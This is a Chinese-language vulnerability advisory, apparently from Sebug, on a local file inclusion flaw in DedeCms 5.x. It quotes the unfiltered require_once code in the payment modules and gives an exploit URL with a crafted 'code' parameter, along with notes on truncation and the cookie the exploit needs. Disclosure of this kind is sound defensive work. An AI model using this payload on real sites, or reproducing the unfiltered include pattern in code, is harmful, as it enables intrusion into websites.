DedeCms 5.x 本地文件包含漏洞(respond方法)
漏洞版本:
DedeCms 5.x
漏洞描述:
DedeCms是免费的PHP网站内容管理系统。 plus/carbuyaction.php里没有对变量进行严格的过滤 出现漏洞的两个文件为: Include/payment/alipay.php Include/payment/yeepay.php 漏洞均出现在respond方法里 Include/payment/alipay.php
- ......
- function respond()
- {
- if(!empty($_POST))
- {
- foreach($_POST as $key => $data)
- {
- $_GET[$key]= $data;
- }
- }
- /* 引入配置文件 */
- require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
- ......
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。 Include/payment/yeepay.php
- ......
- function respond()
- {
- /* 引入配置文件 */
- require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
- $p1_MerId = trim($payment['yp_account']);
- $merchantKey = trim($payment['yp_key']);
- ......
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
测试方法:
提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- http://www.php0day.com/plus/carbuyaction.php?dopost=return&code=http://www.cnblogs.com/tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie
- 由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径
Sebug安全建议:
厂商补丁: dedecms ------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://www.dedecms.com/products/dedecms/